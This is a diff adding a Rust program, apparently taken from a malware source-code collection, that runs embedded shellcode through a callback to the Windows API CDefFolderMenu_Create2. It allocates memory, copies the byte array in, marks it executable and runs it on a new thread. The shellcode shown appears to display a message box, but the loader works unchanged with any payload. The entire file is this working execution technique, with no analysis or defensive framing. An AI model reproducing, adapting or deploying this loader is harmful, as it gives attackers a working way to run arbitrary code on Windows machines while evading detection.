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| 1 | +// Source: |
| 2 | +// -> https://malwaresourcecode.com/home/shellcode-execution/cdeffoldermenu_create2 |
| 3 | +// |
| 4 | +// @5mukx |
| 5 | + |
| 6 | + |
| 7 | +use std::mem::transmute; |
| 8 | +use std::os::raw::c_void; |
| 9 | +use std::ptr::null_mut; |
| 10 | + |
| 11 | +use windows_sys::Win32::System::Com::{COINIT_APARTMENTTHREADED, CoInitializeEx}; |
| 12 | +use windows_sys::Win32::System::Memory::{ |
| 13 | + PAGE_EXECUTE_READ, PAGE_READWRITE, VirtualAlloc, VirtualProtect, |
| 14 | +}; |
| 15 | +use windows_sys::Win32::System::Threading::{CreateThread, WaitForSingleObject}; |
| 16 | +use windows_sys::Win32::UI::Shell::{CDefFolderMenu_Create2, LPFNDFMCALLBACK}; |
| 17 | + |
| 18 | +pub const SHELLCODE: &[u8] = &[ |
| 19 | + 0xFC, 0x48, 0x81, 0xE4, 0xF0, 0xFF, 0xFF, 0xFF, 0xE8, 0xD0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, |
| 20 | + 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x3E, 0x48, 0x8B, 0x52, |
| 21 | + 0x18, 0x3E, 0x48, 0x8B, 0x52, 0x20, 0x3E, 0x48, 0x8B, 0x72, 0x50, 0x3E, 0x48, 0x0F, 0xB7, 0x4A, |
| 22 | + 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, |
| 23 | + 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x3E, 0x48, 0x8B, 0x52, 0x20, 0x3E, |
| 24 | + 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x3E, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, |
| 25 | + 0x74, 0x6F, 0x48, 0x01, 0xD0, 0x50, 0x3E, 0x8B, 0x48, 0x18, 0x3E, 0x44, 0x8B, 0x40, 0x20, 0x49, |
| 26 | + 0x01, 0xD0, 0xE3, 0x5C, 0x48, 0xFF, 0xC9, 0x3E, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, |
| 27 | + 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, |
| 28 | + 0xF1, 0x3E, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD6, 0x58, 0x3E, 0x44, 0x8B, |
| 29 | + 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x3E, 0x41, 0x8B, 0x0C, 0x48, 0x3E, 0x44, 0x8B, 0x40, 0x1C, |
| 30 | + 0x49, 0x01, 0xD0, 0x3E, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, |
| 31 | + 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, |
| 32 | + 0x58, 0x41, 0x59, 0x5A, 0x3E, 0x48, 0x8B, 0x12, 0xE9, 0x49, 0xFF, 0xFF, 0xFF, 0x5D, 0x3E, 0x48, |
| 33 | + 0x8D, 0x8D, 0x30, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x4C, 0x77, 0x26, 0x07, 0xFF, 0xD5, 0x49, 0xC7, |
| 34 | + 0xC1, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x48, 0x8D, 0x95, 0x0E, 0x01, 0x00, 0x00, 0x3E, 0x4C, 0x8D, |
| 35 | + 0x85, 0x24, 0x01, 0x00, 0x00, 0x48, 0x31, 0xC9, 0x41, 0xBA, 0x45, 0x83, 0x56, 0x07, 0xFF, 0xD5, |
| 36 | + 0x48, 0x31, 0xC9, 0x41, 0xBA, 0xF0, 0xB5, 0xA2, 0x56, 0xFF, 0xD5, 0x48, 0x65, 0x79, 0x20, 0x6D, |
| 37 | + 0x61, 0x6E, 0x2E, 0x20, 0x49, 0x74, 0x73, 0x20, 0x6D, 0x65, 0x20, 0x53, 0x6D, 0x75, 0x6B, 0x78, |
| 38 | + 0x00, 0x6B, 0x6E, 0x6F, 0x63, 0x6B, 0x2D, 0x6B, 0x6E, 0x6F, 0x63, 0x6B, 0x00, 0x75, 0x73, 0x65, |
| 39 | + 0x72, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x00, |
| 40 | +]; |
| 41 | + |
| 42 | +extern "system" fn invoke_cdeffoldermenu_create2(param: *mut c_void) -> u32 { |
| 43 | + unsafe { CoInitializeEx(null_mut(), COINIT_APARTMENTTHREADED as u32) }; |
| 44 | + |
| 45 | + let callback: LPFNDFMCALLBACK = unsafe { Some(transmute(param)) }; |
| 46 | + let mut ppcm: *mut std::ffi::c_void = null_mut(); |
| 47 | + |
| 48 | + unsafe { |
| 49 | + CDefFolderMenu_Create2( |
| 50 | + null_mut(), // pidlFolder |
| 51 | + null_mut(), // hwnd |
| 52 | + 0, // cidl |
| 53 | + null_mut(), // apidl |
| 54 | + null_mut(), // psf |
| 55 | + callback, |
| 56 | + 0, // nKeys |
| 57 | + null_mut(), // ahkeys |
| 58 | + &mut ppcm, |
| 59 | + ) |
| 60 | + }; |
| 61 | + |
| 62 | + 0 |
| 63 | +} |
| 64 | + |
| 65 | +fn main() { |
| 66 | + |
| 67 | + let addr = unsafe { |
| 68 | + VirtualAlloc( |
| 69 | + null_mut(), |
| 70 | + SHELLCODE.len(), |
| 71 | + 0x3000, |
| 72 | + PAGE_READWRITE, |
| 73 | + ) |
| 74 | + }; |
| 75 | + |
| 76 | + if addr.is_null() { |
| 77 | + return; |
| 78 | + } |
| 79 | + |
| 80 | + unsafe { std::ptr::copy_nonoverlapping(SHELLCODE.as_ptr(), addr as *mut u8, SHELLCODE.len()) }; |
| 81 | + |
| 82 | + let mut old_protect: u32 = 0; |
| 83 | + |
| 84 | + if unsafe { VirtualProtect(addr, SHELLCODE.len(), PAGE_EXECUTE_READ, &mut old_protect) } == 0 { |
| 85 | + return; |
| 86 | + } |
| 87 | + |
| 88 | + let thread = unsafe { |
| 89 | + CreateThread( |
| 90 | + null_mut(), |
| 91 | + 0, |
| 92 | + Some(invoke_cdeffoldermenu_create2), |
| 93 | + addr, |
| 94 | + 0, |
| 95 | + null_mut(), |
| 96 | + ) |
| 97 | + }; |
| 98 | + |
| 99 | + if !thread.is_null() { |
| 100 | + unsafe { WaitForSingleObject(thread, 0xFFFFFFFF) }; |
| 101 | + } |
| 102 | + |
| 103 | + unsafe { WaitForSingleObject(null_mut(), 0xFFFFFFFF) }; |
| 104 | +} |
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